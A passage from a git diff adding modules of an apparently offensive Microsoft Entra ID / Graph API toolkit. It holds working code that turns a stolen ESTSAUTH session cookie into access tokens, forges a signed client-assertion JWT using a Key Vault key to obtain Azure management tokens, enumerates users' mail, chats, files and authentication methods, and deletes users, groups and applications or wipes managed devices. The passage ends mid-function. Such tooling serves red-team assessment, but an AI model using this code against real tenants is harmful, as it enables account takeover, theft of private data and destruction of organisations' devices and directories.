data = { + 'grant_type': 'client_credentials', + 'client_id': client_id, + 'client_assertion_type': 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer', + 'client_assertion': jwt_token, + 'scope': 'https://graph.microsoft.com/.default' + } + + try: + response = requests.post(f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token", headers=headers, data=data) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "cert_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get certificate access token: {str(e)}") + print_red(response.text) + except Exception as e: + print_red(f"[-] Error loading .pfx file: {str(e)}") + print("=" * 80) + +# invoke-estscookietoaccesstoken +def invoke_estscookietoaccesstoken(args): + if not args.tenant or not args.estsauthcookie: + print_red("[-] Error: --tenant and --estsauthcookie are required for Invoke-ESTSCookieToAccessToken command") + return + + print_yellow("[*] Invoke-ESTSCookieToAccessToken") + print("=" * 80) + user_agent = get_user_agent(args) + + try: + client = input("\nEnter Client (MSTeams, MSEdge, AzurePowerShell): ").strip() + if client == "": + client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" + print("Using Default Client: MSTeams") + elif client == "MSTeams": + client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" + elif client == "MSEdge": + client_id = "ecd6b820-32c2-49b6-98a6-444530e5a77a" + elif client == "AzurePowerShell": + client_id = "1950a258-227b-4e31-a9cf-717495945fc2" + else: + print_red(f"[-] Invalid client: {client}") + print("=" * 80) + sys.exit() + + except KeyboardInterrupt: + sys.exit() + + print() + resource = "https://graph.microsoft.com/" + headers = { + "User-Agent": user_agent + } + + ests_auth_cookie = get_access_token(args.estsauthcookie) + session = requests.Session() + + if ests_auth_cookie.startswith("ESTSAUTH="): + session.cookies.set("ESTSAUTH", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com") + elif ests_auth_cookie.startswith("ESTSAUTHPERSISTENT="): + session.cookies.set("ESTSAUTHPERSISTENT", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com") + else: + print_red("[-] Invalid ESTS cookie format") + print("=" * 80) + sys.exit() + + state = str(uuid.uuid4()) + redirect_uri = "https://login.microsoftonline.com/common/oauth2/nativeclient" + auth_url = f"https://login.microsoftonline.com/common/oauth2/authorize?{urlencode({'response_type': 'code', 'client_id': client_id, 'resource': resource, 'redirect_uri': redirect_uri, 'state': state})}" + response = session.get(auth_url, headers=headers, allow_redirects=False) + + if response.status_code == 302: + location = response.headers['Location'] + parsed_url = urlparse(location) + query_params = parse_qs(parsed_url.query) + + if 'code' in query_params: + refresh_token = query_params['code'][0] + else: + print_red("[-] Code not found in redirected URL path") + print_red(f" Requested URL: {auth_url}") + print_red(f" Response Code: {response.status_code}") + print_red(f" Response URI: {location}") + print("=" * 80) + return None + else: + print_red("[-] Expected 302 redirect but received other status") + print_red(f"[-] Requested URL: {auth_url}") + print_red(f"[-] Response Code: {response.status_code}") + print_red("[-] The request may require user interaction to complete, or the provided cookie is invalid") + print("=" * 80) + return None + + if refresh_token: + token_url = "https://login.microsoftonline.com/common/oauth2/token" + body = { + "resource": resource, + "client_id": client_id, + "grant_type": "authorization_code", + "redirect_uri": redirect_uri, + "code": refresh_token, + "scope": "openid" + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + body["claims"] = claims + + token_response = session.post(token_url, headers=headers, data=body) + token_response_json = token_response.json() + access_token = token_response_json.get('access_token') + + if access_token: + print_green("[+] Token Obtained!\n") + for key, value in token_response_json.items(): + print(f"[*] {key}: {value}") + + file_path = "estscookie_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_response_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + + print_green(f"\n[+] Token information written to '{file_path}'.") + print("=" * 80) + else: + print_red("[-] Failed to obtain access token.") + print("=" * 80) + return None + else: + print_red("[-] Refresh token is missing.") + print("=" * 80) + return None + +# invoke-appsecrettoaccesstoken +def invoke_appsecrettoaccesstoken(args): + if not args.tenant or not args.id or not args.secret: + print_red("[-] Error: --tenant, --id, and --secret required for Invoke-AppSecretToAccessToken command") + return + + print_yellow("[*] Invoke-AppSecretToAccessToken") + print("=" * 80) + + tenant_id = args.tenant + client_id = args.id + client_secret = args.secret + + token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" + token_data = { + 'grant_type': 'client_credentials', + 'client_id': client_id, + 'client_secret': client_secret, + 'scope': 'https://graph.microsoft.com/.default' # can change e.g. 'https://management.azure.com/.default' for Az + } + + # check cae for client_credential grants + + user_agent = get_user_agent(args) + headers = { + "User-Agent": user_agent + } + + try: + token_response = requests.post(token_url, data=token_data, headers=headers) + token_response.raise_for_status() + token_json = token_response.json() + + print_green("[+] Token Obtained!\n") + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "appsecret_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get app secret token: {str(e)}") + if 'token_response' in locals(): + print_red(token_response.text) + + print("=" * 80) + +# new-signedjwt +def new_signedjwt(args): + if not args.tenant or not args.id: + print_red("[-] Error: --tenant and --id required for New-SignedJWT command") + return + + print_yellow("[*] New-SignedJWT") + print("=" * 80) + + try: + kvURI = input("\nEnter Key Vault Certificate Identifier URL: ").strip() + except KeyboardInterrupt: + sys.exit() + + keyName = kvURI.split('/certificates/', 1)[-1].split('/', 1)[0] + # cert details + kv_uri = f"{kvURI.split('/certificates/')[0]}/certificates?api-version=7.3" + + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}" + } + + response = requests.get(kv_uri, headers=headers) + response.raise_for_status() + certs = response.json() + cert_uri = next((c for c in certs['value'] if keyName in c['id']), None) + + if not cert_uri: + raise Exception("Certificate not found.") + + cert_id = cert_uri['id'] + cert_uri_with_version = f"{cert_id}?api-version=7.3" + response = requests.get(cert_uri_with_version, headers=headers) + response.raise_for_status() + certificate = response.json() + x5t = certificate.get('x5t') + kid = certificate.get('kid') + + print_green("\n[+] Certificate Details Obtained!") + print(f"kid: {kid or 'N/A'}") + print(f"x5t: {x5t or 'N/A'}") + + # create JWT + print_green("\n[+] Forged JWT:") + app_id = args.id + audience = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token" + now = datetime.now(timezone.utc) + jwt_expiration = int((now + timedelta(minutes=2)).timestamp()) + not_before = int(now.timestamp()) + + jwt_header = { + "x5t": x5t, + "typ": "JWT", + "alg": "RS256" + } + + jwt_payload = { + "exp": jwt_expiration, + "sub": app_id, + "nbf": not_before, + "jti": str(uuid.uuid4()), + "aud": audience, + "iss": app_id + } + def base64url_encode(data): + return base64.urlsafe_b64encode(data.encode('utf-8')).decode('utf-8').rstrip('=') + + # encode header and payload + header_encoded = base64url_encode(json.dumps(jwt_header)) + payload_encoded = base64url_encode(json.dumps(jwt_payload)) + + # construct unsigned JWT + unsigned_jwt = f"{header_encoded}.{payload_encoded}" + jwt_sha256_hash = hashlib.sha256(unsigned_jwt.encode()).digest() + jwt_sha256_hash_b64 = base64.urlsafe_b64encode(jwt_sha256_hash).decode().rstrip('=') + + # sign JWT + new_uri = f"{kid}/sign?api-version=7.3" + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "Accept": "application/json", + "User-Agent": user_agent + + } + request_body = { + "alg": "RS256", + "value": jwt_sha256_hash_b64 + } + + response = requests.post(new_uri, headers=headers, json=request_body) + response.raise_for_status() + signature = response.json()['value'] + signed_jwt = f"{unsigned_jwt}.{signature}" + print(signed_jwt) + + # request azure management token + jwt_login = f"https://login.microsoftonline.com/{args.tenant}/oauth2/v2.0/token" + parameters = { + "client_id": args.id, + "client_assertion": signed_jwt, + "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer", + "scope": "https://management.azure.com/.default", + "grant_type": "client_credentials" + } + + response = requests.post(jwt_login, data=parameters) + + if not response.ok: + print_red(f"\n[-] Error: {response.status_code} ({response.reason}). {response.text}") + else: + print_green("\n[+] Azure Management Token Obtained!") + print(f"[*] Application ID: {args.id}") + print(f"[*] Tenant ID: {args.tenant}") + print("[*] Scope: https://management.azure.com/.default") + response_json = response.json() + for key, value in response_json.items(): + print(f"[*] {key}: {value}") + print("=" * 80) \ No newline at end of file diff --git a/graphpython/commands/cleanup.py b/graphpython/commands/cleanup.py new file mode 100644 index 0000000..2707e38 --- /dev/null +++ b/graphpython/commands/cleanup.py @@ -0,0 +1,152 @@ +import requests +from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token + +########### +# Cleanup # +########### + +def delete_user(args): + if not args.id: + print_red("[-] Error: --id argument is required for Delete-User command") + return + + print_yellow("[*] Delete-User") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] User deleted") + else: + print_red(f"[-] Failed to delete user: {response.status_code}") + print_red(response.text) + print("=" * 80) + +def delete_group(args): + if not args.id: + print_red("[-] Error: --id argument is required for Delete-Group command") + return + + print_yellow("[*] Delete-Group") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] Group deleted") + else: + print_red(f"[-] Failed to delete group: {response.status_code}") + print_red(response.text) + print("=" * 80) + +def remove_groupmember(args): + if not args.id: + print_red("[-] Error: --id groupid,objectid required for Remove-GroupMember command") + return + + ids = args.id.split(',') + if len(ids) != 2: + print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).") + return + + group_id, member_id = ids[0].strip(), ids[1].strip() + print_yellow("[*] Remove-GroupMember") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/{member_id}/$ref" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] Group member removed") + else: + print_red(f"[-] Failed to remove group member: {response.status_code}") + print_red(response.text) + print("=" * 80) + +def delete_application(args): + if not args.id: + print_red("[-] Error: --id argument is required for Delete-Application command") + return + + print_yellow("[*] Delete-Application") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] Application deleted") + else: + print_red(f"[-] Failed to delete application: {response.status_code}") + print_red(response.text) + print("=" * 80) + +def delete_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Delete-Device command") + return + + print_yellow("[*] Delete-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/devices/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device deleted") + else: + print_red(f"[-] Failed to delete device: {response.status_code}") + print_red(response.text) + print("=" * 80) + +def wipe_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Wipe-Device command") + return + + print_yellow("[*] Wipe-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/wipe" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + body = { + "keepEnrollmentData": True, + "keepUserData": True, + "useProtectedWipe": False + } + + response = requests.post(api_url, headers=headers, json=body) + if response.ok: + print_green(f"[+] Device wipe initiated successfully") + else: + print_red(f"[-] Failed to initiate device wipe: {response.status_code}") + print_red(response.text) + print("=" * 80) \ No newline at end of file diff --git a/graphpython/commands/enum.py b/graphpython/commands/enum.py new file mode 100644 index 0000000..bc67243 --- /dev/null +++ b/graphpython/commands/enum.py @@ -0,0 +1,1108 @@ +import requests +import json +import os +import sys +import time +from bs4 import BeautifulSoup +from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from graphpython.utils.helpers import graph_api_get + +########################## +# Post-Auth Enuemeration # +########################## + +# get-currentuser +def get_currentuser(args): + print_yellow("[*] Get-CurrentUser") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve current user: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-currentuseractivities +def get_currentuseractivities(args): + print_yellow("[*] Get-CurrentUserActivities") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/activities" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-orginfo +def get_orginfo(args): + print_yellow("[*] Get-OrgInfo") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/organization" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-domains +def get_domains(args): + print_yellow("[*] Get-Domains") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/domains" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-user +def get_user(args): + print_yellow("[*] Get-User") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/users" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + access_token = get_access_token(args.token) + headers = { + 'Authorization': f'Bearer {access_token}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + if args.id: + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + if 'value' in response_json: + for user in response_json['value']: + for key, value in user.items(): + print(f"{key}: {value}") + print() + else: + print_red("[-] No users found or unexpected response format") + else: + print_red(f"[-] Failed to retrieve user(s): {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-userproperties +def get_userproperties(args): + properties = [ + "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans", + "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor", + "country", "createdDateTime", "department", "displayName", "employeeId", + "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests", + "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification", + "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone", + "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName", + "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier", + "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName", + "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation", + "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities", + "schools", "showInAddressList", "skills", "state", "streetAddress", + "surname", "usageLocation", "userPrincipalName", "userType", "webUrl" + ] + + print_yellow("[*] Get-UserProperties") + print("=" * 80) + + for p in properties: + if not args.id: + api_url = f"https://graph.microsoft.com/v1.0/me?$select={p}" + else: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}?$select={p}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + print(f"{p}: {response_json.get(p, 'N/A')}") + else: + print_red(f"[-] Failed to retrieve {p}: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-userprivileges +def get_userprivileges(args): + print_yellow("[*] Get-UserPrivileges") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/memberOf" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/memberOf" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-usertransitivegroupmembership +def get_usertransitivegroupmembership(args): + print_yellow("[*] Get-UserTransitiveGroupMembership") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/transitiveMemberOf" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/transitiveMemberOf" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-group +def get_group(args): + print_yellow("[*] Get-Group") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/groups" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + if args.id: + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + if 'value' in response_json: + for user in response_json['value']: + for key, value in user.items(): + print(f"{key}: {value}") + print() + else: + print_red("[-] No users found or unexpected response format") + else: + print_red(f"[-] Failed to retrieve user(s): {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-groupmember +def get_groupmember(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-GroupMember command") + return + print_yellow("[*] Get-GroupMember") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}/members" + + if args.select: + api_url += f"?$select={args.select}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + if 'value' in response_json and response_json['value']: + for item in response_json['value']: + for key, value in item.items(): + if key != "@odata.type": + if isinstance(value, list): + print(f"{key} :") + for list_item in value: + print(f" - {list_item}") + elif isinstance(value, dict): + print(f"{key} :") + for sub_key, sub_value in value.items(): + print(f" {sub_key} : {sub_value}") + else: + print(f"{key} : {value}") + print("\n") + else: + print_red("[-] Error: No members found in this group") + else: + print_red(f"[-] Failed to retrieve group members: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-userapproleassignments +def get_userapproleassignments(args): + print_yellow("[*] Get-UserAppRoleAssignments") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/appRoleAssignments" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/appRoleAssignments" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-conditionalaccesspolicy +def get_conditionalaccesspolicy(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-ConditionalAccessPolicy command") + return + + print_yellow("[*] Get-ConditionalAccessPolicy") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies/{args.id}" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve CAP: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-application +def get_application(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-Application command") + return + + print_yellow("[*] Get-Application") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id + #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + def parse_roleids(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + for h3 in soup.find_all('h3'): + permission_name = h3.get_text() + table = h3.find_next('table') + rows = table.find_all('tr') + application_id = rows[1].find_all('td')[1].get_text() + delegated_id = rows[1].find_all('td')[2].get_text() + application_description = rows[2].find_all('td')[1].get_text() + delegated_description = rows[2].find_all('td')[2].get_text() + application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" + delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" + permissions[application_id] = ('Application', permission_name, application_description, application_consent) + permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) + return permissions + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + permissions = parse_roleids(content) + for key, value in response_json.items(): + if key == "requiredResourceAccess": + if value: + print_green(f"{key}:") + for resource in value: + print_green(f" Resource App ID: {resource['resourceAppId']}") + for access in resource['resourceAccess']: + role_id = access['id'] + role_type = access['type'] + if role_id in permissions: + perm_type, role_name, description, consent_required = permissions[role_id] + print_green(f" Role ID: {role_id}") + print_green(f" Role Name: {role_name}") + print_green(f" Description: {description}") + print_green(f" Type: {role_type}") + print_green(f" Permission Type: {perm_type}") + print_green(f" Admin Consent Required: {consent_required}") + else: + print_red(f" Role ID: {role_id} (Information not found)") + print_red(f" Type: {role_type}") + print(" ---") + else: + print_red(f"{key} : No assignments") + elif key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve Azure Application details: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-appserviceprincipal +def get_appserviceprincipal(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-AppServicePrincipal command") + return + + print_yellow("[*] Get-AppServicePrincipal") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId+eq+'{args.id}'" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-serviceprincipal +def get_serviceprincipal(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-ServicePrincipal command") + return + + print_yellow("[*] Get-ServicePrincipal") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve Service Principal details: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-serviceprincipalapproleassignments +def get_serviceprincipalapproleassignments(args): + print_yellow("[*] Get-ServicePrincipalAppRoleAssignments") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}/appRoleAssignments" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-personalcontacts +def get_personalcontacts(args): + print_yellow("[*] Get-PersonalContacts") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/contacts" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-crosstenantaccesspolicy +def get_crosstenantaccesspolicy(args): + print_yellow("[*] Get-CrossTenantAccessPolicy") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy" + + if args.id: + api_url += f"/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-partnercrosstenantaccesspolicy +def get_partnercrosstenantaccesspolicy(args): + print_yellow("[*] Get-PartnerCrossTenantAccessPolicy") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/templates/multiTenantOrganizationPartnerConfiguration" + + if args.id: + api_url += f"/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-userchatmessages +def get_userchatmessages(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-UserChatMessages command") + return + print_yellow("[*] Get-UserChatMessages") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-administrativeunitmember +def get_administrativeunitmember(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-AdministrativeUnitMember command") + return + + print_yellow("[*] Get-AdministrativeUnitMember") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/directory/administrativeUnits/{args.id}/members" + + if args.select: + api_url += "?$select=" + args.select + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-onedrivefiles +def get_onedrivefiles(args): + print_yellow("[*] Get-OneDriveFiles") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/drive/root/children" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drive/root/children" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-userpermissiongrants +def get_userpermissiongrants(args): + print_yellow("[*] Get-UserPermissionGrants") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/permissionGrants" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/permissionGrants" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-oauth2permissiongrants +def get_oauth2permissiongrants(args): + print_yellow("[*] Get-oauth2PermissionGrants") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/oauth2PermissionGrants" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-messages +def get_messages(args): + print_yellow("[*] Get-Messages") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/messages" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/messages" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-temporaryaccesspassword +def get_temporaryaccesspassword(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-TemporaryAccessPassword command") + return + print_yellow("[*] Get-TemporaryAccessPassword") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/passwordMethods" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-password +def get_password(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-Password command") + return + print_yellow("[*] Get-Password") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/passwordCredentials" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-authmethods +def list_authmethods(args): + print_yellow("[*] List-AuthMethods") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/authentication/methods" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/methods" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-directoryroles +def list_directoryroles(args): + print_yellow("[*] List-DirectoryRoles") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/directoryRoles" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-notebooks +def list_notebooks(args): + print_yellow("[*] List-Notebooks") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/onenote/notebooks" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/onenote/notebooks" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-conditionalaccesspolicies +def list_conditionalaccesspolicies(args): + print_yellow("[*] List-ConditionalAccessPolicies") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" + + if args.select: + api_url += "?$select=" + args.select + + 